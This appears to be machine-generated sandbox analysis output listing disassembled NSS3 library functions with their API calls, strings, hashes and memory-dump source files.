Instruction ID: 380120071586ba6334adfa0607b5a08b881cf2b329344a6a8eb64b93714528c7
Opcode Fuzzy Hash: be76ad09fd0f144738036b71b99f3caf06837b4043394bab7db215694cddf7b3
Instruction Fuzzy Hash: 556170B6F002058BEB00CF68D884BDEB7F1AF58348F654128DE55A7701E776E865CBA1

Function 6CE97C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE2120,Function_00097E60,00000000,?,?,?,?,6CF1067D,6CF11C60,00000000), ref: 6CE97C81

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

TlsGetValue.KERNEL32 ref: 6CE97CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE97CB4
PR_Unlock.NSS3 ref: 6CE97CCF

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

TlsGetValue.KERNEL32 ref: 6CE97D04
EnterCriticalSection.KERNEL32(?), ref: 6CE97D1B
realloc.MOZGLUE(-00000050), ref: 6CE97D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE97DF4
PR_Unlock.NSS3 ref: 6CE97E0E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: c567f159ce9a09e59b466900f890c5767708631dab080eb327adf8b69376ad46
Instruction ID: 5918d60f3add2a796bb62d7073ce68c7553c4a7fa198cd3bd8286ec462c01b57
Opcode Fuzzy Hash: c567f159ce9a09e59b466900f890c5767708631dab080eb327adf8b69376ad46
Instruction Fuzzy Hash: 0051D271E14201ABEB809F28DC84B6577B5EB4B31CF374129ED0487722FB369999CA81

Function 6CE04C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D97
PR_Lock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DBA
PR_WaitCondVar.NSS3 ref: 6CE04DD4
PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DEF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 68fb851ba96a7b2df8217ef84cfea27918401213f3123fff0575c0be9980a6d0
Instruction ID: a1fe9dbd8fca1bcf18cab3e70344daaa18d428ecf390d8df15486bbc2a7af0cb
Opcode Fuzzy Hash: 68fb851ba96a7b2df8217ef84cfea27918401213f3123fff0575c0be9980a6d0
Instruction Fuzzy Hash: C6418EB1E14B15CFDB80BF79D1842597BB4BF0A318F25866AD8889B711EB30D895CBC1

Function 6CF97CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF97CE0

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97D36
PR_Realloc.NSS3(?,00000080), ref: 6CF97D6D
PR_GetCurrentThread.NSS3 ref: 6CF97D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF97DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97DD8
malloc.MOZGLUE(00000080), ref: 6CF97DF8
PR_GetCurrentThread.NSS3 ref: 6CF97E06

Strings

:%s:%d:0x%lx, xrefs: 6CF97DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF97DF0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 09f480a22bf7305ebdb90fed6db81f0711b7472d7eaf7d1181dd5c5c63a4e4c2
Instruction ID: a2bf96345569ecc3a341352b4a10a50633090025b0378f482660038778e63b3d
Opcode Fuzzy Hash: 09f480a22bf7305ebdb90fed6db81f0711b7472d7eaf7d1181dd5c5c63a4e4c2
Instruction Fuzzy Hash: BC4195B16002059FEF04CF29CC90A6B37B6FF84318B25456EE9199BB61D731E941CBA1

Function 6CF97E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF97E46

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF97EAF
PR_ImportFile.NSS3(?), ref: 6CF97ECF
PR_GetCurrentThread.NSS3 ref: 6CF97ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF97F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF97F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF97F15

Strings

%d:0x%lx, xrefs: 6CF97EA9
NSPR_INHERIT_FDS, xrefs: 6CF97E41

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 0ba8fe9974494ee4a1ba52f18b335ea9b2cd288e045ee06c0be6427cb4eeafe7
Instruction ID: 3f5217eaee04df1f68cb7164cb966063a7d7b688988f6b63773ed22d2f502763
Opcode Fuzzy Hash: 0ba8fe9974494ee4a1ba52f18b335ea9b2cd288e045ee06c0be6427cb4eeafe7
Instruction Fuzzy Hash: 31310472E04219DBFF01AB69C841AEBB7B9FF45348F204567D806A7A11E7719D08C7D2

Function 6CEA4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA4E90
EnterCriticalSection.KERNEL32 ref: 6CEA4EA9
TlsGetValue.KERNEL32 ref: 6CEA4EC6
EnterCriticalSection.KERNEL32 ref: 6CEA4EDF
PL_HashTableLookup.NSS3 ref: 6CEA4EF8
PR_Unlock.NSS3 ref: 6CEA4F05
PR_Now.NSS3 ref: 6CEA4F13
PR_Unlock.NSS3 ref: 6CEA4F3A

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

bUl, xrefs: 6CEA4F3F
bUl, xrefs: 6CEA4E5C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 2a36848377d0c645700cf120bea43b40a97721aeb65d7ef1c6d1e289db6d66b8
Instruction ID: dfd2db63c3fa0c2e4a7fa9d3c916e9b019982d997cb0352316ea5619d7ee782b
Opcode Fuzzy Hash: 2a36848377d0c645700cf120bea43b40a97721aeb65d7ef1c6d1e289db6d66b8
Instruction Fuzzy Hash: C9413DB4A006059FCB00EF78D48496ABBF4FF49314B11956AEC599B711EB30E895CF91

Function 6CECECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CECDE64), ref: 6CECED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECED22

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PL_FreeArenaPool.NSS3(?), ref: 6CECED4A
PL_FinishArenaPool.NSS3(?), ref: 6CECED6B
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CECED38

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CECED52
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CECED83
PL_FreeArenaPool.NSS3(?), ref: 6CECED95
PL_FinishArenaPool.NSS3(?), ref: 6CECED9D

Part of subcall function 6CEE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEE127C,00000000,00000000,00000000), ref: 6CEE650E

Strings

security, xrefs: 6CECED06

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 70dae9fb96a02dbc746212bc3ad05ab8d66f6300f4b885122f3bc95aff0ef661
Instruction ID: ae0e3578f9ba41be6a7ea40cde25bb66cad44abd5027090e48f1eb1f77da9c4d
Opcode Fuzzy Hash: 70dae9fb96a02dbc746212bc3ad05ab8d66f6300f4b885122f3bc95aff0ef661
Instruction Fuzzy Hash: 14115B72A0061467E6505635AD46BBF7678AF0A74CF20082DE82063F41FB25A51D86E7

Function 6CEB2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CEB2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEB2D07

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB2D22

Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90B88
Part of subcall function 6CF909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF90C5D
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF90C8D
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90C9C
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90CD1
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF90CEC
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90CFB
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90D16
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF90D26
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90D35
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF90D65
Part of subcall function 6CF909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF90D70
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90D90
Part of subcall function 6CF909D0: free.MOZGLUE(00000000), ref: 6CF90D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB2D3B

Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF90BAB
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90BBA
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CEB2D54

Part of subcall function 6CF909D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF90BCB
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90BDE
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90C16

Strings

C_InitToken, xrefs: 6CEB2CE7
slotID = 0x%x, xrefs: 6CEB2D02
ulPinLen = %d, xrefs: 6CEB2D36
pLabel = 0x%p, xrefs: 6CEB2D4F
pPin = 0x%p, xrefs: 6CEB2D1D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 50fadadd8ba753223f3eb7115fe1d1798f0070106fa4cae466fc77f89a8e65a8
Instruction ID: c160faf2e4032a68db3403bb183fba400bdd2d04b8fe9ad0a2e66101dd721e92
Opcode Fuzzy Hash: 50fadadd8ba753223f3eb7115fe1d1798f0070106fa4cae466fc77f89a8e65a8
Instruction Fuzzy Hash: ED210335A00045FFEB809BA0DE8CB553BB2EF4A31DF544118F504A3722DB728909CB61

Function 6CF90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE72357), ref: 6CF90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE72357), ref: 6CF90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF90EE6

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF90EFA

Part of subcall function 6CE7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F2B

Strings

Aborting, xrefs: 6CF90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF90ED9, 6CF90EE5, 6CF90F06, 6CF90F0B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4e92d674284941fa29d97917c9ed58a6c4d9435671c0bcc6e11f942741011e25
Instruction ID: 4254545e8487735f9765c7cea0aab92af3006798ca151207e82986de25977d4f
Opcode Fuzzy Hash: 4e92d674284941fa29d97917c9ed58a6c4d9435671c0bcc6e11f942741011e25
Instruction Fuzzy Hash: 36F08CB5A001147BEE402B609C4AE9B3F2DDF8A664F004024FD1956602DA76E91496B2

Function 6CEF4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEF4DCB

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEF4DE1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEF4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEF4E59

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFB300C,00000000), ref: 6CEF4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEF4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEF4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEF521A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
